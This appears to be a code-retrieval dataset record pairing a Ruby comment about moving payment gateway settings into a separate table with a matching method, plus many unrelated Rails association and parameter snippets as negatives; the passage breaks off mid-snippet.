"0.5508633",
"0.5507182",
"0.5503662",
"0.5502306",
"0.5500152",
"0.54927546",
"0.54871225",
"0.5482362",
"0.54776824",
"0.54770386",
"0.54762065",
"0.54759836",
"0.54698205",
"0.5469327",
"0.5457686",
"0.5457686",
"0.5457446",
"0.54560906",
"0.54559386",
"0.5455109",
"0.5455109",
"0.5452905",
"0.54495066",
"0.5441153",
"0.5440714",
"0.5438439"
] |
0.62118894
|
8
|
MIGRATION use separate table over columns in same table Accessors for backward compatibility There is an issue, build_association will automatically save the association on parent save So invoking this method and saving Account instance will create a row in PaymentGatewaySetting table But this is OK as we invoke Accountsave AND Accountpayment_gateway_options at the same time in only one place: app/controllers/admin/account/payment_gateways_controller.rb via change_payment_gateway! Solution: The fix is to use nested attributes.
|
def find_or_build_gateway_setting
(payment_gateway_setting || build_payment_gateway_setting)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_association(obj, type)\n @logger.info(\"Creating association for #{type} #{obj.name}\")\n case type\n when \"agent\"\n iso = find_sugarcrm_object('iso', 'sf_id', obj.sf_iso)\n obj.associate! iso if iso\n when \"merchant\"\n \n payment_method_id = find_payment_method_id(obj.sf_id)\n if payment_method_id\n payment_method = find_sugarcrm_object('payment_method', 'sf_id', payment_method_id)\n obj.associate! payment_method\n end\n \n email_id = find_email_id(obj.sf_id)\n if email_id\n email = find_sugarcrm_object('email', 'sf_id', email_id)\n obj.associate! email\n end\n \n agent = find_sugarcrm_object('agent', 'sf_id', obj.sf_agent)\n if agent\n obj.associate! agent\n obj.assigned_user_id = agent.assigned_user_id\n end\n \n when \"settlement_bank_account\"\n merchant = find_sugarcrm_object('merchant', 'sf_id', obj.sf_merchant)\n obj.associate! merchant if merchant\n end\n obj\n end",
"def payment_gateway_options=(hash)\n gateway_setting.gateway_settings = hash\n end",
"def associated_model_config\n @associated_model_config ||= RailsAdmin.config(association_klass)\n end",
"def gateway_options\n options = { :email => order.email,\n :customer => order.email,\n :ip => order.last_ip_address,\n :order_id => gateway_order_id } # This is the changed line\n\n options.merge!({ :shipping => order.ship_total * 100,\n :tax => order.tax_total * 100,\n :subtotal => order.item_total * 100 })\n\n options.merge!({ :currency => currency })\n\n options.merge!({ :billing_address => order.bill_address.try(:active_merchant_hash),\n :shipping_address => order.ship_address.try(:active_merchant_hash) })\n\n options.merge!(:discount => promo_total) if respond_to?(:promo_total)\n options\n end",
"def create_provider_account\n provider_account = FactoryBot.create(:provider_with_billing)\n\n provider_account.gateway_setting.attributes = {\n gateway_type: :authorize_net,\n gateway_settings: { login: 'foo', password: 'bar' }\n } # to prevent ActiveRecord::RecordInvalid since the payment gateway has been deprecated\n provider_account.gateway_setting.save!(validate: false) # We cannot use update_columns with Oracle\n\n plan = FactoryBot.create(:application_plan, :issuer => provider_account.default_service)\n\n [provider_account, plan]\n end",
"def configure_relation\n end",
"def process_after_create\n # Note: Both contacts and addresses fields are same so when organization create then address info will store in Address table so commented the code for contact :- Vishal\n\n # contact = contacts.build(contact_address_1: organization_address_1, contact_address_2: organization_address_2,\n # contact_city: organization_city, contact_country: organization_country, contact_description: organization_description,\n # contact_email: organization_email, contact_fax: organization_fax, contact_notes: organization_notes,\n # contact_state: organization_state, contact_telephone: organization_telephone, contact_title: organization_name,\n # contact_website: organization_website, contact_zipcode: organization_zipcode, contact_type: 'address')\n # contact.save\n\n address = addresses.build(address_address_1: organization_address_1, address_address_2: organization_address_2,\n address_city: organization_city, address_country: organization_country, address_description: organization_description,\n address_email: organization_email, address_fax: organization_fax, address_notes: organization_notes,\n address_state: organization_state, address_telephone: organization_telephone, address_title: organization_name,\n address_website: organization_website, address_zipcode: organization_zipcode, address_type: 'address')\n address.save\n end",
"def build\n set_action(:build)\n validate_account_type!\n new_account\n assign_params\n build_account_users\n set_affiliate\n set_created_by\n set_facility\n\n after_build\n account\n end",
"def foreign_key_as_association(enabled)\n configuration.foreign_key_as_association = enabled\n end",
"def assign_nested_attributes_for_one_to_one_association(association_name, attributes)\n return if attributes.nil?\n\n super\n end",
"def set_payment_gateway_mode_association_tax_type\n @payment_gateway_mode_association_tax_type = PaymentGatewayModeAssociationTaxType.find(params[:id])\n end",
"def generate_association_writer(association_name, type)\n generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1\n if method_defined?(:#{association_name}_attributes=)\n remove_method(:#{association_name}_attributes=)\n end\n def #{association_name}_attributes=(attributes)\n assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)\n end\n eoruby\n end",
"def autosave_nested_attributes(association)\n # In order for the autosave functionality to work properly, the association needs to be\n # marked as autosave despite the fact that the option isn't present. Because the method\n # Association#autosave? is implemented by checking the autosave option, this is the most\n # straightforward way to mark it.\n if association.autosave? || (association.options[:autosave].nil? && !association.embedded?)\n association.options[:autosave] = true\n Association::Referenced::AutoSave.define_autosave!(association)\n end\n end",
"def link!\n base = ::ActiveRecord::Associations::ClassMethods::JoinDependency.new(\n @model, [], nil\n )\n \n @fields.each { |field|\n field.model ||= @model\n field.columns.each { |col|\n field.associations[col] = associations(col.__stack.clone)\n field.associations[col].each { |assoc| assoc.join_to(base) }\n }\n }\n \n @attributes.each { |attribute|\n attribute.model ||= @model\n attribute.columns.each { |col|\n attribute.associations[col] = associations(col.__stack.clone)\n attribute.associations[col].each { |assoc| assoc.join_to(base) }\n }\n }\n end",
"def belongs_to_composite_xdb_record(name, _options = {})\n association_name = name.to_s.singularize.underscore\n composite_field = \"#{association_name}_key\".to_sym\n field composite_field, :string\n associated_record_field = \"stored_#{association_name}\".to_sym\n field associated_record_field, :raw if ActivityNotification.config.store_with_associated_records && _options[:store_with_associated_records]\n\n self.instance_eval do\n define_method(name) do |reload = false|\n reload and self.instance_variable_set(\"@#{name}\", nil)\n if self.instance_variable_get(\"@#{name}\").blank?\n composite_key = self.send(composite_field)\n if composite_key.present? && (class_name = composite_key.split(ActivityNotification.config.composite_key_delimiter).first).present?\n object_class = class_name.classify.constantize\n self.instance_variable_set(\"@#{name}\", object_class.where(id: composite_key.split(ActivityNotification.config.composite_key_delimiter).last).first)\n end\n end\n self.instance_variable_get(\"@#{name}\")\n end\n\n define_method(\"#{name}=\") do |new_instance|\n if new_instance.nil?\n self.send(\"#{composite_field}=\", nil)\n else\n self.send(\"#{composite_field}=\", \"#{new_instance.class.name}#{ActivityNotification.config.composite_key_delimiter}#{new_instance.id}\")\n associated_record_json = new_instance.as_json(_options[:as_json_options] || {})\n # Cast Time and DateTime field to String to handle Dynamoid unsupported type error\n if associated_record_json.present?\n associated_record_json.each do |k, v|\n associated_record_json[k] = v.to_s if v.is_a?(Time) || v.is_a?(DateTime)\n end\n end\n self.send(\"#{associated_record_field}=\", associated_record_json) if ActivityNotification.config.store_with_associated_records && _options[:store_with_associated_records]\n end\n self.instance_variable_set(\"@#{name}\", nil)\n end\n\n define_method(\"#{association_name}_type\") do\n composite_key = self.send(composite_field)\n composite_key.present? ? composite_key.split(ActivityNotification.config.composite_key_delimiter).first : nil\n end\n\n define_method(\"#{association_name}_id\") do\n composite_key = self.send(composite_field)\n composite_key.present? ? composite_key.split(ActivityNotification.config.composite_key_delimiter).last : nil\n end\n end\n\n self._associated_composite_records.push(association_name.to_sym)\n end",
"def payment_gateway_params\n params.require(:payment_gateway).permit(:name,:site_id,:mode,:gateway_type,:config)\n end",
"def make_builder_settings(extra_settings = {})\n opts = super\n opts[:auto_inventory_attributes] = false\n opts\n end",
"def generate_fields_for(model, table)\n table.columns.each do |column|\n if column.options['references'] && parent_model = find_model(column.options['references'])\n model.add_relation(Model::Relation::BELONGS_TO, parent_model.name.underscore)\n #TODO: Look into if there is there a way to figure out a has_one relationship?\n parent_model.add_relation(Model::Relation::HAS_MANY, model.table_name)\n else\n model.add_field(column.name, column.type.to_s.classify, column.options)\n end\n end\n end",
"def setup_associations; end",
"def add\n association.build\n end",
"def create_setting\n if setting_options.is_a?(Hash)\n setting_options[:options][:validations] = setting_options[:validations]\n setting = Supports::Settingable::Models::Setting.new name: setting_options[:name]\n setting.options = setting_options[:options]\n setting.settingable= self\n setting.save\n end\n end",
"def setup_associates(klass, relation, _meta, parent_relation)\n assoc_name =\n if relation.associations.key?(parent_relation)\n parent_relation\n else\n singular_name = inflector.singularize(parent_relation).to_sym\n singular_name if relation.associations.key?(singular_name)\n end\n\n if assoc_name\n klass.associates(assoc_name)\n else\n klass.associates(parent_relation)\n end\n end",
"def child_attributes\n super.merge(\n schema: ->(t) { t.references :child, foreign_key: true },\n model: ->(m) {\n belongs_to :child, inverse_of: :parent, dependent: :destroy\n has_one :parent, inverse_of: :child, class_name: self.name\n },\n viewmodel: ->(_v) {\n self.schema_version = 2\n association :child\n migrates from: 1, to: 2 do\n down do |view, refs|\n view.delete('child')\n end\n end\n })\n end",
"def adding_plan_relation(transaction, parent, child, relations, info); end",
"def set_affiliate\n if affiliate.present?\n account.affiliate_id = affiliate.id\n account.affiliate_other = affiliate.subaffiliates_enabled? ? account_params[:affiliate_other] : nil\n else\n account.affiliate_id = account.affiliate_other = nil\n end\n account\n end",
"def update_table_links\n if !self.insurance_billing_id.blank?\n self.provider_id = self.insurance_billing.provider_id\n self.group_id = self.insurance_billing.group_id\n self.patient_id = self.insurance_billing.patient_id\n self.subscriber_id = self.insurance_billing.subscriber_id\n self.insurance_company_id = self.insurance_billing.insurance_company_id\n end\n end",
"def nested_attributes_create(meta, attributes)\n reflection = meta[:reflection]\n obj = reflection.associated_class.new\n nested_attributes_set_attributes(meta, obj, attributes)\n delay_validate_associated_object(reflection, obj)\n if reflection.returns_array?\n send(reflection[:name]) << obj\n after_save_hook{send(reflection.add_method, obj)}\n else\n associations[reflection[:name]] = obj\n\n # Because we are modifying the associations cache manually before the\n # setter is called, we still want to run the setter code even though\n # the cached value will be the same as the given value.\n @set_associated_object_if_same = true\n\n # Don't need to validate the object twice if :validate association option is not false\n # and don't want to validate it at all if it is false.\n if reflection[:type] == :many_to_one \n before_save_hook{send(reflection.setter_method, obj.save(:validate=>false))}\n else\n after_save_hook{send(reflection.setter_method, obj)}\n end\n end\n add_reciprocal_object(reflection, obj)\n obj\n end",
"def save_bt_association(assoc, version)\n assoc_version_args = {\n version_id: version.id,\n foreign_key_name: assoc.foreign_key\n }\n\n if assoc.options[:polymorphic]\n associated_record = @record.send(assoc.name) if @record.send(assoc.foreign_type)\n if associated_record && PaperTrail.request.enabled_for_model?(associated_record.class)\n assoc_version_args[:foreign_key_id] = associated_record.id\n end\n elsif PaperTrail.request.enabled_for_model?(assoc.klass)\n assoc_version_args[:foreign_key_id] = @record.send(assoc.foreign_key)\n end\n\n if assoc_version_args.key?(:foreign_key_id)\n PaperTrail::VersionAssociation.create(assoc_version_args)\n end\n end",
"def update_associations(permitted_params)\n self.adjuster_id = permitted_params[:adjuster_id].present? ? permitted_params[:adjuster_id].to_i : nil\n self.color_id = permitted_params[:color_id].present? ? permitted_params[:color_id].to_i : nil\n self.drive_train_type_id = permitted_params[:drive_train_type_id].present? ? permitted_params[:drive_train_type_id].to_i : nil\n self.engine_output_unit_id = permitted_params[:engine_output_unit_id].present? ? permitted_params[:engine_output_unit_id].to_i : nil\n self.odometer_unit_id = permitted_params[:odometer_unit_id].present? ? permitted_params[:odometer_unit_id].to_i : nil\n self.original_odometer_unit_id = permitted_params[:original_odometer_unit_id].present? ? permitted_params[:original_odometer_unit_id].to_i : nil\n self.documented_odometer_unit_id = permitted_params[:documented_odometer_unit_id].present? ? permitted_params[:documented_odometer_unit_id].to_i : nil \n self.facility_id = permitted_params[:facility_id].present? ? permitted_params[:facility_id].to_i : nil\n self.fuel_type_id = permitted_params[:fuel_type_id].present? ? permitted_params[:fuel_type_id].to_i : nil\n self.lane_id = permitted_params[:lane_id].present? ? permitted_params[:lane_id].to_i : nil\n self.loss_type_id = permitted_params[:loss_type_id].present? ? permitted_params[:loss_type_id].to_i : nil\n self.member_id = permitted_params[:member_id].present? ? permitted_params[:member_id].to_i : nil\n self.model_id = permitted_params[:model_id].present? ? permitted_params[:model_id].to_i : nil\n self.trim_id = permitted_params[:trim_id].present? ? permitted_params[:trim_id].to_i : nil\n self.original_doc_country_id = permitted_params[:original_doc_country_id].present? ? permitted_params[:original_doc_country_id].to_i : nil\n self.original_doc_type_id = permitted_params[:original_doc_type_id].present? ? permitted_params[:original_doc_type_id].to_i : nil\n self.original_odometer_brand_id = permitted_params[:original_odometer_brand_id].present? ? permitted_params[:original_odometer_brand_id].to_i : nil\n self.ownership_transfer_type_id = permitted_params[:ownership_transfer_type_id].present? ? permitted_params[:ownership_transfer_type_id].to_i : nil\n self.pickup_location_id = permitted_params[:pickup_location_id].present? ? permitted_params[:pickup_location_id].to_i : nil\n self.primary_damage_type_id = permitted_params[:primary_damage_type_id].present? ? permitted_params[:primary_damage_type_id].to_i : nil\n self.run_condition_id = permitted_params[:run_condition_id].present? ? permitted_params[:run_condition_id].to_i : nil\n self.sale_confirmation_status_id = permitted_params[:sale_confirmation_status_id].present? ? permitted_params[:sale_confirmation_status_id].to_i : nil\n self.sale_doc_country_id = permitted_params[:sale_doc_country_id].present? ? permitted_params[:sale_doc_country_id].to_i : nil\n self.sale_doc_type_id = permitted_params[:sale_doc_type_id].present? ? permitted_params[:sale_doc_type_id].to_i : nil\n self.secondary_damage_type_id = permitted_params[:secondary_damage_type_id].present? ? permitted_params[:secondary_damage_type_id].to_i : nil\n self.seller_id = permitted_params[:seller_id].present? ? permitted_params[:seller_id].to_i : nil\n self.sell_now = permitted_params[:sell_now]\n self.subhauler_id = permitted_params[:subhauler_id].present? ? permitted_params[:subhauler_id].to_i : nil\n self.transmission_type_id = permitted_params[:transmission_type_id].present? ? permitted_params[:transmission_type_id].to_i : nil\n self.vehicle_type_id = permitted_params[:vehicle_type_id].present? ? permitted_params[:vehicle_type_id].to_i : nil\n self.yard_id = permitted_params[:yard_id].present? ? permitted_params[:yard_id].to_i : nil\n self.yard_row_id = permitted_params[:yard_row_id].present? ? permitted_params[:yard_row_id].to_i : nil\n end",
"def updates_after_create\n parent_policy = Policy.where('parent_id IS NULL').first\n agency_policy = parent_policy.dup\n agency_policy.organization = self\n agency_policy.parent_id = parent_policy.id\n agency_policy.description = \"#{self.short_name} Transit Policy\"\n agency_policy.object_key = nil\n agency_policy.save!\n\n User.where(organization_id: Grantor.first.id).each{|user| user.viewable_organizations = user.user_organization_filter.try(:get_organizations)}\n end",
"def assoc_options\n # Wait to implement this in Phase IVa. Modify `belongs_to`, too.\n @assoc_options ||= {}\n @assoc_options\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:settings, keys: [:timezone, :experimentation_email, :reflection_at_string, reflection_on: []])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username,:firstname,:lastname, :email, :study_agreement])\n devise_parameter_sanitizer.permit(:account_update, keys: [:firstname,:lastname, :email, :password, :password_confirmation,:timezone, :reflection_at, reflection_on: []])\n end",
"def initialize(name, active_record_class, delegated_association = nil) #:nodoc:\n @name = name.to_sym\n @active_record_class = active_record_class\n @column = _columns_hash[name.to_s]\n @delegated_association = delegated_association\n @cache_key = [@active_record_class.name, name].compact.map(&:to_s).join('#')\n setup_association_info\n\n @link = nil\n @autolink = association.present?\n @table = _table_name\n @associated_limit = self.class.associated_limit\n @associated_number = self.class.associated_number\n @show_blank_record = self.class.show_blank_record\n @send_form_on_update_column = self.class.send_form_on_update_column\n @actions_for_association_links = self.class.actions_for_association_links.dup if association\n @select_columns = default_select_columns\n\n @text = @column.nil? || [:string, :text, :citext, String].include?(column_type)\n @number = false\n if @column\n if active_record_class.respond_to?(:defined_enums) && active_record_class.defined_enums[name.to_s]\n @form_ui = :select\n @options = {:options => active_record_class.send(name.to_s.pluralize).keys.map(&:to_sym)}\n elsif column_number?\n @number = true\n @form_ui = :number\n @options = {:format => :i18n_number}\n else\n @form_ui =\n case @column.type\n when :boolean then :checkbox\n when :text then :textarea\n end\n end\n end\n @allow_add_existing = true\n @form_ui = self.class.association_form_ui if @association && self.class.association_form_ui\n\n self.includes = [association.name] if association&.allow_join?\n if delegated_association\n self.includes = includes ? [delegated_association.name => includes] : [delegated_association.name]\n end\n\n # default all the configurable variables\n self.css_class = ''\n validators_force_require_on = active_record_class.validators_on(name)\n .map { |val| validator_force_required?(val) }\n .select(&:present?)\n self.required = validators_force_require_on.any? { |opt| opt == true } ||\n validators_force_require_on.reject { |opt| opt == true }.flatten.presence\n self.sort = true\n self.search_sql = true\n\n @weight = estimate_weight\n end",
"def payment_to_database(customer)\n if self.payment_method.blank?\n self.build_payment_method\n end\n self.payment_method.stripe_card_id = customer[:sources][:data].last[:id]\n self.payment_method.last_4 = customer[:sources][:data].last[:last4]\n self.payment_method.brand = customer[:sources][:data].last[:brand]\n self.payment_method.exp_m = customer[:sources][:data].last[:exp_month]\n self.payment_method.exp_y = customer[:sources][:data].last[:exp_year]\n end",
"def build_billing_address(person=@person)\n if person.billing_address\n person.billing_address.attributes = {\n :country_code => (person.business_address || person.personal_address).country_code,\n :country => (person.business_address || person.personal_address).country,\n }\n else\n person.build_billing_address({\n :academic_title_id => person.academic_title ? person.academic_title_id : nil,\n :gender => person.gender,\n :first_name => person.first_name,\n :last_name => person.last_name,\n :country_code => (person.business_address || person.personal_address).country_code,\n :country => (person.business_address || person.personal_address).country,\n :province_code => (person.business_address || person.personal_address).province_code,\n :province => (person.business_address || person.personal_address).province,\n }.merge((person.business_address || person.personal_address).content_attributes))\n end\n end",
"def create_account_options\n AccountOption.create!(:user => self)\n end",
"def account_plan_params\r\n params.require(:account_plan).permit(:id ,:descripcion, :estado, :version ,:accounting_years_attributes => [:id, :anho,:estado,:_destroy])\r\n end",
"def scaffold_habtm_reflection_options(association)\n habtm = relationships[association]\n [\n habtm.target_model,\n get_key_array_safe(habtm.through.child_key).name,\n get_key_array_safe(habtm.via.child_key).name,\n habtm.send(:through_model).storage_name\n ]\n end",
"def build_invoice(invoice = {})\n case invoice\n when Invoice then invoice.gateway = self\n when Hash then invoice = Invoice.new(invoice.merge(:gateway => self))\n end\n invoice\n end",
"def build_through_record(record)\n @through_records[record.object_id] ||= begin\n ensure_mutable\n\n through_record = through_association.build(*options_for_through_record)\n through_record.send(\"#{source_reflection.name}=\", record)\n through_record\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"automaticUserConsentSettings\" => lambda {|n| @automatic_user_consent_settings = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::InboundOutboundPolicyConfiguration.create_from_discriminator_value(pn) }) },\n \"b2bCollaborationInbound\" => lambda {|n| @b2b_collaboration_inbound = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CrossTenantAccessPolicyB2BSetting.create_from_discriminator_value(pn) }) },\n \"b2bCollaborationOutbound\" => lambda {|n| @b2b_collaboration_outbound = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CrossTenantAccessPolicyB2BSetting.create_from_discriminator_value(pn) }) },\n \"b2bDirectConnectInbound\" => lambda {|n| @b2b_direct_connect_inbound = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CrossTenantAccessPolicyB2BSetting.create_from_discriminator_value(pn) }) },\n \"b2bDirectConnectOutbound\" => lambda {|n| @b2b_direct_connect_outbound = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CrossTenantAccessPolicyB2BSetting.create_from_discriminator_value(pn) }) },\n \"inboundTrust\" => lambda {|n| @inbound_trust = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::CrossTenantAccessPolicyInboundTrust.create_from_discriminator_value(pn) }) },\n \"isServiceDefault\" => lambda {|n| @is_service_default = n.get_boolean_value() },\n })\n end",
"def modify_attributes_with_fields(attributes)\n attributes = attributes.nil? ? {} : attributes.dup\n\n # this is not possible, because when object is created by association,\n # then attributes like owner_id are set after initializer is run\n # so we cannot lookup fields defininitions source and have to set it this way\n # return attributes unless @owner.new_record?\n\n klass = proxy_association.klass || proxy_association.reflection.klass\n if klass.respond_to?(:has_fields?) && klass.has_fields?\n if attributes.is_a? Array\n attributes.map! {|attrs| attrs[:fields_definitions_source] = proxy_association.owner }\n else\n attributes[:fields_definitions_source] = proxy_association.owner\n end\n end\n\n attributes\n end",
"def payment_options_params\n params.require(:payment_option).permit(:user_id, :credit_card_brand,:payment_type,:venue_id,:payment_identifier)\n end",
"def build_through_record(record)\n @through_records[record] ||= begin\n ensure_mutable\n\n attributes = through_scope_attributes\n attributes[source_reflection.name] = record\n\n through_association.build(attributes).tap do |new_record|\n new_record.send(\"#{source_reflection.foreign_type}=\", options[:source_type]) if options[:source_type]\n end\n end\n end",
"def manual_relations(ar_instance)\n\t\t\tcase ar_instance.class.name\n\t\t\twhen 'Order'\n\t\t\t\t[:account_transactions, :billed_rates, :originator, {:customer => :rules},{:items => :originators}, {:order_status_transactions => :user}, {:order_items => :originator}]\n\t\t\twhen 'Shipnotice','ConsumerReturn'\n\t\t\t\t[{:shipnotice_items => :allocations}]\n\t\t\telse\n\t\t\t\t[]\n\t\t\tend\n\t\tend",
"def build_callback_to_depender_model\n first_association_chain = @quickery_builder.association_chains.first\n first_association_chain.model.quickery_association_chain_dependers ||= []\n first_association_chain.model.quickery_association_chain_dependers << first_association_chain\n end",
"def merge_hook(duplicate)\n # Example code:\n # duplicate.custom_association.each do |ca|\n # ca.contact = self; ca.save!\n # end\n end",
"def association_params\n params.require(:association).permit( :name,:description,location_attributes: [:longitude, :latitude],manager_attributes: [:appointment, :email,:name,:telephone])\n end",
"def payment_gateway_mode_association_tax_type_params\n params.require(:payment_gateway_mode_association_tax_type).permit(:tax_type_id, :payment_gateway_mode_association_id, :percent)\n end",
"def set_business_model_canvase\n @business_model_canvase = BusinessModelCanvase.find(params[:id])\n @business_model_canvase.customer_segments.presence || @business_model_canvase.customer_segments.build\n @business_model_canvase.value_propositions.presence || @business_model_canvase.value_propositions.build\n @business_model_canvase.channels.presence || @business_model_canvase.channels.build\n @business_model_canvase.customer_relationships.presence || @business_model_canvase.customer_relationships.build\n @business_model_canvase.revenue_streams.presence || @business_model_canvase.revenue_streams.build\n @business_model_canvase.key_resources.presence || @business_model_canvase.key_resources.build\n @business_model_canvase.key_activities.presence || @business_model_canvase.key_activities.build\n @business_model_canvase.key_partnerships.presence || @business_model_canvase.key_partnerships.build\n @business_model_canvase.cost_structures.presence || @business_model_canvase.cost_structures.build\n end",
"def payment_gateway_type=(type)\n gateway_setting.gateway_type = type\n end",
"def update_attributes_hash(replacement)\n if replacement\n _base.attributes.merge!(_association.store_as => replacement.attributes)\n else\n _base.attributes.delete(_association.store_as)\n end\n end",
"def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update,\n keys: [:radio_certificate,\n :aviation_document,\n :aviation_document_date,\n :pilot_license_type,\n :pilot_license_number,\n :medical_category,\n :medical_date,\n :instrument_rating_date,\n :instrument_rating_renewal_date,\n :night_rating_date,\n :FAA_PPL_Conversion_date,\n :FAA_PPL_license, :FAA_PPL_license,\n :FAA_CPL_license,\n :FAA_CPL_conversion_date,\n :biennial_flight_review])\n end",
"def assign_nested_attributes_for_one_to_one_association(association_name, attributes, allow_destroy)\n if should_destroy_nested_attributes_record?(allow_destroy, attributes)\n send(association_name).mark_for_destruction\n else\n (send(association_name) || send(\"build_#{association_name}\")).attributes = attributes\n end\n end",
"def build_association(value)\n association = @form.create_association(\n group: @group.to_s,\n type: @type.to_s,\n value: value\n )\n\n # Since the associations are fake, we just set persistence to the parent\n # object's value\n association.persisted = @source.persisted?\n\n return association\n end",
"def event_params\n params.require(:registration).permit(:event_id,:amount_total,:amount_payable,:max_price,\n :registration_addons_attributes => [:addon_id,:addon_value,:registration_choices_attributes =>[:choice_id,:choice_value,:choice_price]],\n :registration_guests_attributes => [:city_user_id,:first,:last,:email,:primary_phone,:address,:city,:state,:coming,:registration_addons_attributes => [:addon_id,:addon_value,:registration_choices_attributes =>[:choice_id,:choice_value,:choice_price]]])\n\n\n end",
"def generate_property_writer(association_name, _type)\n generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1\n if method_defined?(:#{association_name}_attributes=)\n remove_method(:#{association_name}_attributes=)\n end\n def #{association_name}_attributes=(attributes)\n attribute_will_change!(:#{association_name})\n resource.#{association_name}_attributes=(attributes)\n end\n eoruby\n end",
"def add_association(type, class_name, name)\n define_method(name) do\n Associations::Factory.create(type, name, self)\n end\n define_method(\"#{name}=\") do |object|\n object.parentize(self, name)\n @attributes[name] = object.mongoidize\n end\n end",
"def method_for_association_build\n :build\n end",
"def order_info_params\n params.require(:order_info).permit(:order_id, :company_id, :unit_id, :author, :revenue_unit_id, :project_id,\n :business_id, :contract_start_date, :contract_end_date, :work_place, :income_date,\n :payment_site_id, :work_start_date, :work_end_date, :other, :general_receipt_date,\n :general_order_date, :general_order_no, :general_other,\n :order_charge_people_attributes => [:id, :employee_id, :basic_amount, :time_limit_lower, :time_limit_upper, :deduction_bid, :overtime_bid, :_destroy],\n :order_break_times_attributes => [:id, :break_start_time, :break_end_time, :_destroy],\n :order_dates_attributes => [:id, :order_date, :_destroy]\n\n )\n # params.require(:order_charge_person).permit(:employee_id, :basic_amount, :time_limit_lower, :time_limit_upper, :deduction_bid, :overtime_bid)\n end",
"def build(attributes)\n @relationship.build(attributes) do |record|\n record.access_to = @owner.owner\n end\n end",
"def reflect_on_association(name)\n ActiveRecordAssociationAdapter.for_association(associations[name]) if associations[name]\n end",
"def association\n @association ||= options[:association]\n end",
"def payment_gateway_options\n gateway_setting.symbolized_settings\n end",
"def touch_paymentable\n paymentable.bank_link_trx_saved(self) if paymentable\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :phone, :real_estate_company, :real_estate_company_id])\n end",
"def assign_nested_attributes_for_one_to_one_association(association_name, attributes)\n options = nested_attributes_options[association_name]\n\n attributes = attributes.to_h if attributes.respond_to?(:permitted?)\n attributes = attributes.with_indifferent_access\n existing_record = send(association_name)\n\n if (options[:update_only] || attributes['id'].present?) && existing_record &&\n (options[:update_only] || existing_record.id.to_s == attributes['id'].to_s)\n assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)\n\n elsif attributes['id'].present?\n raise_nested_attributes_record_not_found!(association_name, attributes['id'])\n\n elsif !reject_new_record?(association_name, attributes)\n assignable_attributes = attributes.except(*UNASSIGNABLE_KEYS)\n\n if existing_record&.new_record?\n existing_record.assign_attributes(assignable_attributes)\n association(association_name).initialize_attributes(existing_record)\n else\n method = \"build_#{association_name}\"\n raise ArgumentError, \"Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?\" unless respond_to?(method)\n\n send(method, assignable_attributes)\n end\n end\n end",
"def to_s\n if (class_name = association.properties[:class_name]).present?\n # association :delivery_address, strategy: :build, factory: :address\n \"#{base_association_declaration}, strategy: :build, factory: :#{class_name.underscore}\"\n else\n # association :address, strategy: :build\n \"#{base_association_declaration}, strategy: :build\"\n end\n end",
"def association(name)\n association = super\n reflection = self.class.reflect_on_association(name)\n case reflection.try(:macro)\n when :belongs_to\n association.extend(HasAggregatedExtension) if reflection.options[:aggregated]\n when :has_one\n association.extend(HasCurrentExtension) if reflection.options[:is_current]\n else # do nothing\n end\n association\n end",
"def stores_foreign_key?; true; end",
"def add_association_keys_to_select_sub(klass, options)\n select_table_fields = class_primary_key_fields(klass)\n \n if options[:include].class == Symbol || options[:include].class == String\n select_table_fields.concat association_keys_for(klass, options[:include].to_sym)\n elsif options[:include].class == Array\n options[:include].each do |s|\n if s.class == Hash # {:user => :favorites} or {:user => {:favorites => [:books, :movies]}}\n select_table_fields.concat association_keys_for(klass, s.keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[s.keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = s.values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n elsif s.class == Symbol || s.class == String\n select_table_fields.concat association_keys_for(klass, s.to_sym)\n end\n end\n elsif options[:include].class == Hash\n select_table_fields.concat association_keys_for(klass, options[:include].keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[options[:include].keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = options[:include].values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n end\n \n select_table_fields.uniq\n end",
"def setup!\n setup_instance_methods!\n @owner_class.embedded_relations = @owner_class.embedded_relations.merge(name => self)\n @owner_class.aliased_fields[name.to_s] = store_as if store_as\n self\n end",
"def belongs_to_polymorphic_xdb_record(name, _options = {})\n association_name = name.to_s.singularize.underscore\n id_field, type_field = \"#{association_name}_id\", \"#{association_name}_type\"\n field id_field, type: String\n field type_field, type: String\n associated_record_field = \"stored_#{association_name}\"\n field associated_record_field, type: Hash if ActivityNotification.config.store_with_associated_records && _options[:store_with_associated_records]\n\n self.instance_eval do\n define_method(name) do |reload = false|\n reload and self.instance_variable_set(\"@#{name}\", nil)\n if self.instance_variable_get(\"@#{name}\").blank?\n if (class_name = self.send(type_field)).present?\n object_class = class_name.classify.constantize\n self.instance_variable_set(\"@#{name}\", object_class.where(id: self.send(id_field)).first)\n end\n end\n self.instance_variable_get(\"@#{name}\")\n end\n\n define_method(\"#{name}=\") do |new_instance|\n if new_instance.nil? then instance_id, instance_type = nil, nil else instance_id, instance_type = new_instance.id, new_instance.class.name end\n self.send(\"#{id_field}=\", instance_id)\n self.send(\"#{type_field}=\", instance_type)\n associated_record_json = new_instance.as_json(_options[:as_json_options] || {})\n # Cast Hash $oid field to String id to handle BSON::String::IllegalKey\n if associated_record_json.present?\n associated_record_json.each do |k, v|\n associated_record_json[k] = 